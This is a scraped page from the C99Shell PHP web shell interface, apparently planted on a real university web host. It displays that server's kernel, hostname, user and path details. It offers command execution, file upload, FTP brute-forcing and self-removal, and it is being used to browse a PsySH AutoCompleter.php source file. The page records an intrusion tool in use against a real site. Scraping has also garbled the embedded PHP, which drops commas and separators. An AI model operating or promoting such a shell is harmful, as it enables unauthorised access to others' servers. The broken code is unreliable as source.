!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/psy/psysh/src/Psy/TabCompletion/   drwxr-xr-x
Free 117.42 GB of 200.55 GB (58.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AutoCompleter.php (2.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of Psy Shell.
 *
 * (c) 2012-2015 Justin Hileman
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Psy\TabCompletion;

use 
Psy\TabCompletion\Matcher\AbstractMatcher;

/**
 * A readline tab completion service.
 *
 * @author Marc Garcia <markcial@gmail.com>
 */
class AutoCompleter
{
    
/** @var Matcher\AbstractMatcher[]  */
    
protected $matchers;

    
/**
     * Register a tab completion Matcher.
     *
     * @param AbstractMatcher $matcher
     */
    
public function addMatcher(AbstractMatcher $matcher)
    {
        
$this->matchers[] = $matcher;
    }

    
/**
     * Activate readline tab completion.
     */
    
public function activate()
    {
        
readline_completion_function(array(&$this'callback'));
    }

    
/**
     * Handle readline completion.
     *
     * @param string $input Readline current word
     * @param int    $index Current word index
     * @param array  $info  readline_info() data
     *
     * @return array
     */
    
public function processCallback($input$index$info = array())
    {
        
$line substr($info['line_buffer'], 0$info['end']);
        
$tokens token_get_all('<?php ' $line);
        
// remove whitespaces
        
$tokens array_filter($tokens, function ($token) {
            return !
AbstractMatcher::tokenIs($tokenAbstractMatcher::T_WHITESPACE);
        });

        
$matches = array();
        foreach (
$this->matchers as $matcher) {
            if (
$matcher->hasMatched($tokens)) {
                
$matches array_merge($matcher->getMatches($tokens), $matches);
            }
        }

        
$matches array_unique($matches);

        return !empty(
$matches) ? $matches : array('');
    }

    
/**
     * The readline_completion_function callback handler.
     *
     * @see processCallback
     *
     * @param $input
     * @param $index
     *
     * @return array
     */
    
public function callback($input$index)
    {
        return 
$this->processCallback($input$indexreadline_info());
    }

    
/**
     * Remove readline callback handler on destruct.
     */
    
public function __destruct()
    {
        
// PHP didn't implement the whole readline API when they first switched
        // to libedit. And they still haven't.
        //
        // So this is a thing to make PsySH work on 5.3.x:
        
if (function_exists('readline_callback_handler_remove')) {
            
readline_callback_handler_remove();
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0123 ]--